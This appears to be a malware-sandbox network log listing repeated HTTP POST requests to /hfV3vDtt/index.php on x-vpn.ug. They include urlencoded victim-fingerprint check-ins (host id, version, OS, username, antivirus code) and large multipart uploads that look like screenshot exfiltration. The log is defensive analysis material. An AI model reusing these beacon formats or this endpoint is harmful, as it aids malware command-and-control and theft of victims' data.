Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----866c4cda6901e9214d16c6f8e155941aHost: x-vpn.ugContent-Length: 96868Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Host: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
